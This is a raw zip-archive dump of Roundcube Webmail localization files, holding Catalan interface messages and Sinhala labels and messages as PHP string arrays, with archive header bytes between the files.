$messages['errorsaving'] = 'S\'ha produït un error mentre es desava.';
$messages['errormoving'] = 'No s\'ha pogut moure el(s) missatge(s).';
$messages['errorcopying'] = 'No s\'ha pogut copiar el(s) missatge(s).';
$messages['errordeleting'] = 'No s\'ha pogut suprimir el(s) missatge(s).';
$messages['errormarking'] = 'No s\'ha pogut marcar el(s) missatge(s).';
$messages['alerttitle'] = 'Atenció';
$messages['confirmationtitle'] = 'Esteu segur...';
$messages['deletecontactconfirm']  = 'Esteu segur de voler suprimir el(s) contacte(s) seleccionat(s)?';
$messages['deletegroupconfirm']  = 'Esteu segur de voler suprimir el grup seleccionat?';
$messages['deletemessagesconfirm'] = 'Esteu segur de voler suprimir el(s) missatge(s) seleccionat(s)?';
$messages['deletefolderconfirm']  = 'Esteu segur de voler suprimir aquesta carpeta?';
$messages['movefolderconfirm']  = 'Realment voleu moure aquesta carpeta?';
$messages['purgefolderconfirm']  = 'Esteu segur de voler suprimir tots els missatges d\'aquesta carpeta?';
$messages['contactdeleting'] = 'S\'està suprimint els contacte(s)...';
$messages['groupdeleting'] = 'S\'està suprimint el grup...';
$messages['folderdeleting'] = 'S\'està suprimint la carpeta...';
$messages['foldermoving'] = 'S\'està movent la carpeta...';
$messages['foldersubscribing'] = 'S\'està subscrivint la carpeta...';
$messages['folderunsubscribing'] = 'S\'està cancel·lant la subscripció de la carpeta...';
$messages['formincomplete'] = 'El formulari no ha estat emplenat completament.';
$messages['noemailwarning'] = 'Si us plau, introduïu una adreça de correu electrònic vàlida.';
$messages['nonamewarning']  = 'Si us plau, introduïu un nom.';
$messages['nopagesizewarning'] = 'Si us plau, introduïu una mida de pàgina.';
$messages['nosenderwarning'] = 'Si us plau, introduïu l\'adreça de correu electrònic del remitent.';
$messages['recipientsadded'] = 'S\'ha(n) afegit el(s) destinatari(s) correctament.';
$messages['norecipientwarning'] = 'Si us plau, introduïu com a mínim un destinatari.';
$messages['disclosedrecipwarning'] = 'Tots els destinataris veuran les adreces de correu electrònic dels altres. Per evitar-ho i protegir la seva privadesa, podeu fer servir el camp Bcc.';
$messages['disclosedreciptitle'] = 'Hi ha masses destinataris públics';
$messages['nosubjectwarning']  = 'El camp "Assumpte" és buit. Voleu introduir-ne un ara?';
$messages['nosubjecttitle']  = 'Sense assumpte';
$messages['nobodywarning'] = 'Voleu enviar aquest missatge sense text?';
$messages['notsentwarning'] = 'El missatge no s\'ha pogut enviar i té canvis no desats. Voleu descartar aquests canvis?';
$messages['restoresavedcomposedata'] = 'S\'ha trobat un missatge començat però que no ha estat enviat.\n\nAssumpte: $subject\nDesat: $date\n\nVoleu recuperar aquest missatge?';
$messages['nosearchname'] = 'Si us plau, introduïu un nom de contacte o una adreça de correu.';
$messages['notuploadedwarning'] = 'Encara no s\'han pujat tots els adjunts. Si us plau, espereu o cancel·leu la pujada.';
$messages['searchsuccessful'] = '$nr missatges trobats.';
$messages['contactsearchsuccessful'] = '$nr contactes trobats.';
$messages['searchnomatch'] = 'No s\'ha trobat cap coincidència.';
$messages['searching'] = 'S\'està cercant...';
$messages['checking'] = 'S\'està comprovant...';
$messages['stillsearching'] = 'Encara s\'està cercant...';
$messages['nospellerrors'] = 'No s\'han trobat errors d\'ortografia.';
$messages['folderdeleted'] = 'Carpeta suprimida correctament.';
$messages['foldersubscribed'] = 'Carpeta subscrita correctament.';
$messages['folderunsubscribed'] = 'S\'ha cancel·lat correctament la subscripció de la carpeta.';
$messages['folderpurged'] = 'La carpeta s\'ha buidat correctament.';
$messages['folderexpunged'] = 'La carpeta s\'ha compactat correctament.';
$messages['deletedsuccessfully'] = 'Suprimit correctament.';
$messages['converting'] = 'S\'està traient el format del missatge...';
$messages['messageopenerror'] = 'No s\'ha pogut carregar el missatge del servidor.';
$messages['filelinkerror'] = 'No s\'ha pogut adjuntar el fitxer.';
$messages['fileuploaderror'] = 'La càrrega del fitxer ha fallat.';
$messages['csvfilemismatch'] = 'No es permet la importació de diversos fitxers CSV amb camps diferents.';
$messages['filesizeerror'] = 'El fitxer carregat excedeix la mida màxima de $size.';
$messages['filecounterror'] = 'Podeu carregar un màxim de $count fitxers alhora.';
$messages['msgsizeerror'] = 'No s\'ha pogut adjuntar el fitxer. S\'ha sobrepassat la mida màxima del missatge ($size).';
$messages['msgsizeerrorfwd'] = 'S\'ha superat la mida màxima d\'un missatge ($size). No s\'han adjuntat $num missatge(s).';
$messages['copysuccess'] = 'S\'han copiat $nr contactes correctament.';
$messages['movesuccess'] = 'S\'han mogut $nr contactes correctament.';
$messages['copyerror'] = 'No s\'ha pogut copiar cap contacte.';
$messages['moveerror'] = 'No s\'ha pogut moure cap contacte.';
$messages['sourceisreadonly'] = 'Aquesta adreça és només de lectura.';
$messages['errorsavingcontact'] = 'No s\'ha pogut desar l\'adreça de contacte.';
$messages['movingmessage'] = 'S\'està movent missatge(s)...';
$messages['copyingmessage'] = 'S\'està copiant missatge(s)...';
$messages['copyingcontact'] = 'S\'està copiant contacte(s)...';
$messages['movingcontact'] = 'S\'estan movent els contacte(s)...';
$messages['deletingmessage'] = 'S\'està suprimint missatge(s)...';
$messages['markingmessage'] = 'S\'està marcant missatge(s)...';
$messages['addingmember'] = 'S\'està afegint contacte(s) al grup...';
$messages['removingmember'] = 'S\'està suprimint contacte(s) del grup...';
$messages['receiptsent'] = 'Confirmació de lectura enviada correctament.';
$messages['errorsendingreceipt'] = 'No s\'ha pogut enviar la confirmació.';
$messages['deleteidentityconfirm'] = 'Esteu segur de voler suprimir aquesta identitat?';
$messages['nodeletelastidentity'] = 'No podeu suprimir aquesta identitat, és l\'última.';
$messages['forbiddencharacter'] = 'El nom de carpeta conté un caràcter no permès.';
$messages['selectimportfile'] = 'Si us plau, seleccioneu un fitxer per carregar.';
$messages['addresswriterror'] = 'La llibreta d\'adreces seleccionada no és modificable.';
$messages['contactaddedtogroup'] = 'S\'han afegit correctament els contactes a aquest grup.';
$messages['contactremovedfromgroup'] = 'S\'han suprimit correctament els contactes d\'aquest grup.';
$messages['nogroupassignmentschanged'] = 'No s\'ha canviat cap assignació de grup.';
$messages['importwait'] = 'S\'està important, espereu si us plau...';
$messages['importformaterror'] = 'La importació ha fallat. El fitxer carregat no és un fitxer de dades vàlid.';
$messages['importconfirm'] = '<b>S\'han importat $inserted contactes correctament</b>';
$messages['importconfirmskipped'] = '<b>S\'han descartat $skipped entrades ja existents</b>';
$messages['importmessagesuccess'] = '<b>S\'han importat $nr missatges correctament</b>';
$messages['importmessageerror'] = 'La importació ha fallat. El fitxer que heu carregat no és un fitxer de missatges vàlid o no és un fitxer de bústia.';
$messages['opnotpermitted'] = 'Operació no permesa!';
$messages['nofromaddress'] = 'No s\'ha trobat l\'adreça de correu electrònic a la identitat seleccionada.';
$messages['editorwarning'] = 'Si canvieu el tipus d\'editor pot ser que perdreu tot el format del text. Voleu continuar?';
$messages['httpreceivedencrypterror'] = 'Hi ha hagut un error fatal de configuració. Contacteu amb el vostre administrador immediatament. <b>El vostre missatge no pot ser enviat.</b>';
$messages['smtpconnerror'] = 'Error SMTP ($code): La connexió al servidor ha fallat.';
$messages['smtpautherror'] = 'Error SMTP ($code): La identificació ha fallat.';
$messages['smtpfromerror'] = 'Error SMTP ($code): No s\'ha pogut posar "$from" com a remitent ($msg).';
$messages['smtptoerror'] = 'Error SMTP ($code): No s\'ha pogut posar "$to" com a destinatari ($msg).';
$messages['smtprecipientserror'] = 'Error SMTP: No s\'ha pogut analitzar la llista de destinataris.';
$messages['smtputf8error'] = 'Error SMTP: El servidor no admet caràcters Unicode a l\'adreça de correu.';
$messages['smtpsizeerror'] = 'Error SMTP: La mida del missatge supera el límit del servidor ($limit).';
$messages['smtperror'] = 'Error SMTP: $msg';
$messages['emailformaterror'] = 'Adreça de correu electrònic no vàlida: $email';
$messages['toomanyrecipients'] = 'Hi ha masses destinataris. Reduïu el nombre de destinataris a $max.';
$messages['maxgroupmembersreached'] = 'El nombre de membres del grup supera el màxim de $max.';
$messages['internalerror'] = 'S\'ha produït un error intern. Si us plau torneu-ho a provar.';
$messages['contactdelerror'] = 'No s\'han pogut suprimir el(s) contacte(s).';
$messages['contactdeleted'] = 'Contacte(s) suprimit(s) correctament.';
$messages['contactrestoreerror'] = 'No s\'ha pogut restaurar el(s) contacte(s) suprimit(s).';
$messages['contactrestored'] = 'Contacte(s) restaurat(s) correctament.';
$messages['groupdeleted'] = 'Grup suprimit correctament.';
$messages['grouprenamed'] = 'Grup reanomenat correctament.';
$messages['groupcreated'] = 'Grup creat correctament.';
$messages['savedsearchdeleted'] = 'S\'ha suprimit correctament la cerca desada.';
$messages['savedsearchdeleteerror'] = 'No s\'ha pogut suprimir la cerca desada.';
$messages['savedsearchcreated'] = 'S\'ha creat correctament la cerca desada.';
$messages['savedsearchcreateerror'] = 'No s\'ha pogut crear la cerca desada.';
$messages['messagedeleted'] = 'Missatge(s) suprimit(s) correctament.';
$messages['messagemoved'] = 'Missatge(s) mogut(s) correctament.';
$messages['messagemovedtotrash'] = 'El(s) missatge(s) s\'ha(n) mogut correctament a la Paperera.';
$messages['messagecopied'] = 'Missatge(s) copiat(s) correctament.';
$messages['messagemarked'] = 'Missatge(s) marcat(s) correctament.';
$messages['autocompletechars'] = 'Introduïu com a mínim $min caràcters per l\'autocompleció.';
$messages['autocompletemore'] = 'S\'han trobat més entrades coincidents. Si us plau, introduïu més caràcters.';
$messages['namecannotbeempty'] = 'El nom no pot estar buit.';
$messages['nametoolong'] = 'El nom és massa llarg.';
$messages['namedotforbidden'] = 'El nom de carpeta no pot començar amb un punt.';
$messages['folderupdated'] = 'La carpeta ha estat actualitzada correctament.';
$messages['foldercreated'] = 'La carpeta ha estat creada correctament.';
$messages['invalidimageformat'] = 'No és un format d\'imatge vàlid.';
$messages['mispellingsfound'] = 'S\'han detectat errors d\'ortografia al missatge.';
$messages['parentnotwritable'] = 'No s\'ha pogut crear/moure la carpeta dins de la carpeta ascendent seleccionada. No hi ha permisos d\'escriptura.';
$messages['messagetoobig'] = 'La part del missatge és massa gran per processar-la.';
$messages['attachmentvalidationerror'] = 'Aquest adjunt és sospitós per què el seu tipus no coincideix amb el tipus declarat en el missatge. Si no us en refieu del remitent, no hauríeu d\'obrir aquest missatge en el navegador perquè pot tenir contingut maliciós. <br/><br/><em>S\'esperava: $expected; s\'ha trobat: $detected</em>';
$messages['noscriptwarning'] = 'Atenció: Aquest client de correu necessita Javascript! Per a poder-lo fer servir heu d\'activar Javascript a les opcions del navegador.';
$messages['messageissent'] = 'El missatge ja ha estat enviat, però encara no s\'ha desat. Voleu desar-lo ara?';
$messages['errnotfound'] = 'No s\'ha trobat el fitxer';
$messages['errnotfoundexplain'] = 'No s\'ha trobat el recurs sol·licitat!';
$messages['errfailedrequest'] = 'La petició ha fallat';
$messages['errauthorizationfailed'] = 'L\'autorització ha fallat';
$messages['errunauthorizedexplain'] = 'No s\'ha pogut verificar que tingueu accés autoritzat a aquest servei!';
$messages['errrequestcheckfailed'] = 'Ha fallat la verificació de la petició';
$messages['errcsrfprotectionexplain'] = "Per a la vostra protecció, l'accés a aquest recurs està protegit contra CSRF.\nSi veieu això, és probable que no hàgiu tancat la sessió abans de sortir de l'aplicació web.\n\nEn aquest moment cal una intervenció manual per poder continuar.";
$messages['errcontactserveradmin'] = 'Si us plau, contacteu amb el vostre administrador de sistemes.';
$messages['clicktoresumesession'] = 'Feu clic aquí per reprendre la vostre sessió anterior';
$messages['errcomposesession'] = 'Error de sessió de redacció';
$messages['errcomposesessionexplain'] = 'No s\'ha trobat la sessió de redacció sol·licitada.';
$messages['clicktocompose'] = 'Feu clic aquí per editar un nou missatge';
$messages['nosupporterror'] = 'Aquesta característica no està suportada pel vostre navegador.';
$messages['siginserted'] = 'Signatura inserida correctament.';
$messages['responseinserted'] = 'Resposta inserida correctament.';
$messages['noresponsesavailable'] = 'No hi ha respostes disponibles';
$messages['listempty'] = 'La llista és buida.';
$messages['listusebutton'] = 'Feu servir el botó \'Crea\' per afegir un nou registre.';
$messages['keypaircreatesuccess'] = 'S\'ha creat un nou parell de claus per $identity.';
$messages['emptyattachment'] = 'Sembla ser que aquest fitxer adjunt és buit.<br>Si us plau, consulteu amb la persona que l’ha enviat.';
$messages['oauthloginfailed'] = 'Ha fallat l\'inici de sessió d\'OAuth. Si us plau, torneu-ho a provar.';
PK
h�\L���D�D%program/localization/si_LK/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product වෙත පිළිගනිමු';
$labels['username'] = 'පරිශීලක නාමය';
$labels['password'] = 'මුරපදය';
$labels['server'] = 'පද්ධතිය';
$labels['login'] = 'පිවිසුම';
$labels['logout'] = 'පිටවීම';
$labels['mail'] = 'විද්‍යුත් තැපැල';
$labels['settings'] = 'සැකසුම්';
$labels['addressbook'] = 'ලිපින පොත';
$labels['inbox'] = 'එනලිපි';
$labels['drafts'] = 'කටු සටහන්';
$labels['sent'] = 'යැවූ';
$labels['trash'] = 'ඉවතලන බඳුන';
$labels['junk'] = 'සුන්බුන්';
$labels['subject'] = 'මාතෘකාව';
$labels['from'] = 'වෙතින්';
$labels['sender'] = 'යවන්නා';
$labels['to'] = 'වෙත';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'පිළිතුරු සඳහා';
$labels['date'] = 'දිනය';
$labels['size'] = 'ප්‍රමාණය';
$labels['priority'] = 'ප්‍රමුඛත්වය';
$labels['organization'] = 'සංවිධානය';
$labels['mailboxlist'] = 'බහාලුම්';
$labels['messagesfromto'] = '$from වෙතින් $to වෙත පණිවිඩ $count';
$labels['messagenrof'] = 'පණිවිඩ $count න් $nr';
$labels['copy'] = 'පිටපත් කරන්න';
$labels['move'] = 'ගෙනයන්න';
$labels['moveto'] = 'ගෙන යන්න...';
$labels['download'] = 'බාගත කරන්න';
$labels['filename'] = 'ගොනුවේ නම';
$labels['filesize'] = 'ගොනුවේ ප්‍රමාණය';
$labels['addtoaddressbook'] = 'ලිපින පොතට එක් කරන්න';
$labels['sun'] = 'ඉ';
$labels['mon'] = 'ස';
$labels['tue'] = 'අ';
$labels['wed'] = 'බ';
$labels['thu'] = 'බ්‍ර';
$labels['fri'] = 'සි';
$labels['sat'] = 'සෙ';
$labels['sunday'] = 'ඉරිදා';
$labels['monday'] = 'සඳුදා';
$labels['tuesday'] = 'අඟහරුවාදා';
$labels['wednesday'] = 'බදාදා';
$labels['thursday'] = 'බ්‍රහස්පතින්දා';
$labels['friday'] = 'සිකුරාදා';
$labels['saturday'] = 'සෙනසුරාදා';
$labels['jan'] = 'ජන';
$labels['feb'] = 'පෙබ';
$labels['mar'] = 'මාර්';
$labels['apr'] = 'අප්‍රේ';
$labels['may'] = 'මැයි';
$labels['jun'] = 'ජූනි';
$labels['jul'] = 'ජූලි';
$labels['aug'] = 'අගෝ';
$labels['sep'] = 'සැප්';
$labels['oct'] = 'ඔක්';
$labels['nov'] = 'නොවැ';
$labels['dec'] = 'දෙසැ';
$labels['longjan'] = 'ජනවාරි';
$labels['longfeb'] = 'පෙබරවාරි';
$labels['longmar'] = 'මාර්තු';
$labels['longapr'] = 'අප්‍රේල්';
$labels['longmay'] = 'මැයි';
$labels['longjun'] = 'ජූනි';
$labels['longjul'] = 'ජූලි';
$labels['longaug'] = 'අගෝස්තු';
$labels['longsep'] = 'සැප්තැම්බර්';
$labels['longoct'] = 'ඔක්තෝම්බර්';
$labels['longnov'] = 'නොවැම්බර්';
$labels['longdec'] = 'දෙසැම්බර්';
$labels['today'] = 'අද';
$labels['checkmail'] = 'අඵත් පණිවිඩ සඳහා පිරික්සීම';
$labels['compose'] = 'පණිවිඩයක් සෑදීම';
$labels['writenewmessage'] = 'අඵත් පණිවිඩයක්';
$labels['reply'] = 'පිළිතුරු දෙන්න';
$labels['replytomessage'] = 'පණිවිඩයට පිළිතුරු';
$labels['replytoallmessage'] = 'එවන්නාට සහ සැමට පිළිතුරු';
$labels['forward'] = 'ඉදිරියට';
$labels['forwardmessage'] = 'පණිවිඩය ඉදිරියට';
$labels['deletemessage'] = 'පණිවිඩය මකන්න';
$labels['movemessagetotrash'] = 'පණිවිඩය ලටපට වෙත ගෙන යන්න';
$labels['printmessage'] = 'මෙම පණිවිඩය මුද්‍රණය කරන්න';
$labels['previousmessage'] = 'කලින් පණිවිඩය පෙන්නන්න';
$labels['firstmessage'] = 'පළමුවන පණිවිඩය පෙන්නන්න';
$labels['nextmessage'] = 'මීළඟ පණිවිඩය පෙන්නන්න';
$labels['lastmessage'] = 'අවසාන පණිවිඩය පෙන්නන්න';
$labels['backtolist'] = 'නැවතත් පණිවිඩ ලැයිස්තුවට';
$labels['viewsource'] = 'මූලාශ්‍රය පෙන්වන්න';
$labels['mark'] = 'සලකුණු කරන්න';
$labels['markmessages'] = 'පණිවිඩ සලකුණු කරන්න';
$labels['markread'] = 'කියවු ලෙස';
$labels['markunread'] = 'නොකියවු ලෙස';
$labels['moreactions'] = 'තවත් ක්‍රියා...';
$labels['more'] = 'තවත්';
$labels['back'] = 'ආපසු';
$labels['options'] = 'විකල්ප';
$labels['select'] = 'තෝරන්න';
$labels['all'] = 'සියල්ල';
$labels['none'] = 'කිසිවක් නැත';
$labels['currpage'] = 'දැනට ඇති පිටුව';
$labels['isread'] = 'කියවන්න';
$labels['unread'] = 'නොකියවූ';
$labels['deleted'] = 'මකා දැමූ';
$labels['filter'] = 'පෙරන්න';
$labels['list'] = 'ලැයිස්තුව';
$labels['expand-all'] = 'සියල්ල දිගහරින්න';
$labels['collapse-all'] = 'සියල්ල හකුළන්න';
$labels['fromto'] = 'වෙතින්/වෙත';
$labels['attachment'] = 'ඇමුණුම';
$labels['nonesort'] = 'කිසිවක් නැත';
$labels['sentdate'] = 'යැවූ දිනය';
$labels['arrival'] = 'ලගාවූ දිනය';
$labels['asc'] = 'ආරෝහණ';
$labels['desc'] = 'අවරෝහණ';
$labels['layoutlist'] = 'ලැයිස්තුව';
$labels['folderactions'] = 'බහාලුම් ක්‍රියා...';
$labels['compact'] = 'සංයුක්ත';
$labels['empty'] = 'හිස්';
$labels['unknown'] = 'නොදනී';
$labels['unlimited'] = 'අසීමිත';
$labels['quicksearch'] = 'ඉක්මන් සෙවුම';
$labels['resetsearch'] = 'සෙවුම යලි පිහිටවීම';
$labels['msgtext'] = 'සම්පූර්ණ පණිවිඩය';
$labels['openinextwin'] = 'නව කවුළුවක විවෘත කරන්න';
$labels['sendmessage'] = 'පණිවිඩය යවන්න';
$labels['savemessage'] = 'කටු සටහනක් ලෙස සුරකින්න';
$labels['addattachment'] = 'ගොනුවක් අමුණන්න';
$labels['charset'] = 'අකුරැ කට්ටලය';
$labels['editortype'] = 'සම්පාදන ආකාරය';
$labels['returnreceipt'] = 'නැවත ලබන්නා';
$labels['recipient'] = 'ලබන්නා';
$labels['checkspelling'] = 'අක්‍ෂර වින්‍යාසය පරික්‍ෂාකරන්න';
$labels['resumeediting'] = 'සම්පාදන නැවත ඇරඹීම';
$labels['revertto'] = 'ආපසු ඒම';
$labels['attach'] = 'අමුණන්න';
$labels['attachments'] = 'ඇමුණුම්';
$labels['upload'] = 'ඇතුල් කරීම';
$labels['close'] = 'වසන්න';
$labels['low'] = 'අඩු';
$labels['lowest'] = 'අඩුම';
$labels['normal'] = 'සාමාන්‍ය';
$labels['high'] = 'ඉහළ';
$labels['highest'] = 'ඉහළම';
$labels['nosubject'] = '(මාතෘකාව නොමැත)';
$labels['showimages'] = 'රූප පෙන්වන්න';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'පැහැදිලි අකුරු';
$labels['addcc'] = 'Cc එක් කරන්න';
$labels['addbcc'] = 'Bcc එක් කරන්න';
$labels['addreplyto'] = '\'පිළිතුරු සඳහා\' එක් කරන්න';
$labels['mdnrequest'] = 'මෙම පණිවුඩය එවන්නා ඔබ එය කියවු බව අසයි. එය දැන්වීමට ඔබ කැමතිද?';
$labels['receiptread'] = 'ලැබීම් ලදුපත (කියවීම)';
$labels['yourmessage'] = 'මෙය ඔබගේ පණිවුඩයේ ලැබීම් ලදුපතයි';
$labels['receiptnote'] = 'සටහන: ලැබීම් ලදුපත මගින් මෙම පණිවුඩය කියවූ බව හෝ තේරුම් ගත් බව ගම්‍ය නොවේ. පණිවුඩය ලබන්නාට පෙන්නුම් කල බවටට සාක්ෂියක් පමණි';
$labels['name'] = 'ප්‍රදර්ශනය වන නම';
$labels['firstname'] = 'මුල් නම';
$labels['surname'] = 'අවසන් නම';
$labels['nickname'] = 'සුරතල් නම';
$labels['jobtitle'] = 'රැකියා තනතුර';
$labels['department'] = 'දෙපාර්තමේන්තුව';
$labels['gender'] = 'ස්ත්‍රි/පුරුෂ භාවය';
$labels['email'] = 'විද්‍යුත් තැපෑල';
$labels['phone'] = 'දුරකථනය';
$labels['address'] = 'ලිපිනය';
$labels['locality'] = 'නගරය';
$labels['region'] = 'ප්‍රාන්තය/පළාත';
$labels['country'] = 'රට';
$labels['birthday'] = 'උපන්දිනය';
$labels['anniversary'] = 'සංවත්සරය';
$labels['website'] = 'වෙබ් අඩවිය';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'සටහන්';
$labels['male'] = 'පුරුෂ';
$labels['female'] = 'ස්ත්‍රී';
$labels['manager'] = 'කළමණාකරු';
$labels['assistant'] = 'සහායක';
$labels['search'] = 'සොයන්න';
$labels['advanced'] = 'සංකීර්ණ‍';
$labels['other'] = 'වෙනත්';
$labels['typehome'] = 'නිවස';
$labels['typework'] = 'රක්ෂාව';
$labels['typeother'] = 'වෙනත්';
$labels['typemobile'] = 'ජංගම';
$labels['typemain'] = 'ප්‍රධාන';
$labels['typehomefax'] = 'ගෘහස්ථ ෆැක්ස්';
$labels['typepager'] = 'පේජරය';
$labels['typevideo'] = 'වීඩියෝ';
$labels['typeassistant'] = 'සහායක';
$labels['typeblog'] = 'බ්ලොග්';
$labels['typeprofile'] = 'පැතිකඩ';
$labels['editcontact'] = 'ලිපිනය වෙනස් කිරීම';
$labels['contacts'] = 'සබඳතා';
$labels['personalinfo'] = 'පුද්ගලික තොරතුරු';
$labels['edit'] = 'සංස්කරණය';
$labels['cancel'] = 'අවලංගු කරන්න';
$labels['save'] = 'සුරකින්න';
$labels['delete'] = 'මකන්න';
$labels['rename'] = 'නම වෙනස් කරන්න';
$labels['addphoto'] = 'එක් කරන්න';
$labels['deletecontact'] = 'තෝරාගත් ලිපින මකාදමන්න';
$labels['composeto'] = 'පනිවුඩයක් සෑදීම';
$labels['contactsfromto'] = '$from ගෙන් $to ලිපින $count';
$labels['print'] = 'මුද්‍රණය කරන්න';
$labels['export'] = 'අපනයනය';
$labels['previouspage'] = 'පෙර පිටුව පෙන්වන්න';
$labels['firstpage'] = 'පළමුවන පිටුව පෙන්වන්න';
$labels['nextpage'] = 'මීළඟ පිටුව පෙන්වන්න';
$labels['lastpage'] = 'අවසාන පිටුව පෙන්වන්න';
$labels['group'] = 'කණ්ඩායම';
$labels['groups'] = 'කණ්ඩායම්';
$labels['personaladrbook'] = 'පුද්ගලික ලිපිනය';
$labels['import'] = 'ආනයනය කරන්න';
$labels['done'] = 'අවසානයි';
$labels['settingsfor'] = 'සඳහා සැකසුම්';
$labels['about'] = 'පිළිබඳ';
$labels['preferences'] = 'අභිමතය';
$labels['userpreferences'] = 'පරිශීලක අභිමතය';
$labels['editpreferences'] = 'පරිශීලක අභිමතය වෙනස් කිරීම්';
$labels['identities'] = 'අනන්‍යතාවන්';
$labels['preferhtml'] = 'HTML විදහා පෙන්වීම';
$labels['htmlmessage'] = 'HTML පණිවිඩය';
$labels['prettydate'] = 'සුරුබුහුටි දින';
$labels['setdefault'] = 'පළමු තත්වයට';
$labels['autodetect'] = 'ස්වයංක්‍රීය';
$labels['language'] = 'භාෂාව';
$labels['timezone'] = 'කාල කලාපය';
$labels['signature'] = 'අත්සන';
$labels['dstactive'] = 'දිවා එළිය ඉතිරි කිරීම';
$labels['htmleditor'] = 'HTML පණිවිඩයක් සෑදීම';
$labels['htmlsignature'] = 'HTML අත්සන';
$labels['previewpane'] = 'පූර්වදර්ශන කොටස පෙන්නන්න';
$labels['uisettings'] = 'පරිශීලක අතුරුමුහුණත';
$labels['askuser'] = 'මගෙන් විමසන්න';
$labels['always'] = 'සැමවිට';
$labels['autosavedraft'] = 'ස්වයංක්‍රීයව කටු සටහන සුරකින්න';
$labels['never'] = 'කිසි විටෙකත් නැති';
$labels['immediately'] = 'හැකි ඉක්මනින්';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (වෙනත්)';
$labels['section'] = 'අංශය';
$labels['maintenance'] = 'නඩත්තු කිරීම';
$labels['newmessage'] = 'අලුත් පණිවිඩයක්';
$labels['autoaddsignature'] = 'ස්වයංක්‍රීයව අත්සන ඇතුලත් කරන්න';
$labels['newmessageonly'] = 'අලුත් පණිවිඩය පමණක්';
$labels['insertsignature'] = 'අත්සන ඇතුලත් කරන්න';
$labels['afternseconds'] = 'තත්පර $nකට පසු';
$labels['spellcheckignoresyms'] = 'සලකුණු සහිත වචන නොසලකා හරින්න';
$labels['spellcheckignorenums'] = 'අංක සහිත වචන නොසලකා හරින්න';
$labels['addtodict'] = 'ශබ්ද කෝෂයට එක් කරන්න';
$labels['allmessages'] = 'සියලු පණිවිඩ';
$labels['folder'] = 'බහාලුම';
$labels['folders'] = 'බහාලුම්';
$labels['foldername'] = 'බහාලුමේ නම';
$labels['subscribed'] = 'සාමාජික';
$labels['messagecount'] = 'පණිවිඩ';
$labels['create'] = 'තනන්න';
$labels['createfolder'] = 'නව බහාලුමක් තනන්න';
$labels['managefolders'] = 'බහාලුම් කළමනාකරණය කරන්න';
$labels['specialfolders'] = 'විශේෂ බහාලුම්';
$labels['properties'] = 'වත්කම්';
$labels['folderproperties'] = 'බහාලුමේ වත්කම්';
$labels['location'] = 'ස්ථානය';
$labels['info'] = 'තොරතුරු';
$labels['foldertype'] = 'බහාලුම් වර්ගය';
$labels['personalfolder'] = 'පුද්ගලික බහාලුම';
$labels['sharedfolder'] = 'පොදු බහාලුම';
$labels['sortby'] = 'වර්ග කරන්න';
$labels['sortasc'] = 'ආරෝහණ වර්ග කිරීම';
$labels['sortdesc'] = 'අවරෝහණ වර්ග කිරීම';
$labels['plugin'] = 'ප්ලගිනය';
$labels['version'] = 'අනුවාදය';
$labels['source'] = 'මූලාශ්‍රය';
$labels['license'] = 'බලපත්‍රය';
$labels['support'] = 'සහය ලබාගන්න';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'යුනිකේත';
$labels['english'] = 'ඉංග්‍රීසි';
$labels['westerneuropean'] = 'බටහිර යුරෝපීය';
$labels['baltic'] = 'බෝල්ටික්';
$labels['arabic'] = 'අරාබි';
$labels['greek'] = 'ග්‍රීක';
$labels['hebrew'] = 'හීබෲ';
$labels['turkish'] = 'තුර්කි';
$labels['nordic'] = 'නොර්ඩික්';
$labels['thai'] = 'තායි';
$labels['celtic'] = 'සෙල්ටික්';
$labels['vietnamese'] = 'වියට්නාම';
$labels['japanese'] = 'ජපන්';
$labels['korean'] = 'කොරියානු';
$labels['chinese'] = 'චීන';
PK
h�\��e)'program/localization/si_LK/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'දෝෂයක් මතුවිය!';
$messages['loginfailed']  = 'ඇතුල්වීම අසාර්ථකයි.';
$messages['cookiesdisabled'] = 'ඔබේ බෞසරය කුකී බාර ගන්නේ නැත';
$messages['sessionerror'] = 'ඔබේ වාරය අවලංගු හෝ කාලය ඉකුත් වී ඇත';
$messages['dberror'] = 'දත්ත ගබඩාවේ දෝෂය!';
$messages['nomessagesfound'] = 'ලියුම් පෙට්ටියේ පනිවුඩ නැත';
$messages['loading'] = 'පූරනය...';
$messages['loadingdata'] = 'දත්ත පූරනය...';
$messages['checkingmail'] = 'අලුත් පණිවිඩ පරීක්ෂා කරමින්...';
$messages['sendingmessage'] = 'පණිවිඩය යවමින්...';
$messages['messagesent'] = 'පණිවිඩය සාර්ථකව යවන ලදී.';
$messages['savingmessage'] = 'පණිවිඩය සුරකිමින්...';
$messages['messagesaved'] = 'පනිවුඩය කටු සටහනේ තැන්පත් විය';
$messages['successfullysaved'] = 'සුරැකීම සාර්ථකයි.';
$messages['addedsuccessfully'] = 'ලිපිනය සාර්ථකව ලිපින පොතට එකතු කරන ලදී.';
$messages['blockedimages'] = 'ඔබගෙ පොද්ගලිකත්වය හේතුවෙන්, දුරස්ථ රූප අවහිර කර ඇත.';
$messages['encryptedmessage'] = 'මෙම පනිවුඩය රහස් කේතනය කර ඇති බැවින් පෙන්විය නොහැක. සමාවන්න!';
$messages['nocontactsfound'] = 'ලිපින සොයා ගත නොහැක';
$messages['contactnotfound'] = 'ඉල්ලූ ලිපිනය සොයාගත නොහැක';
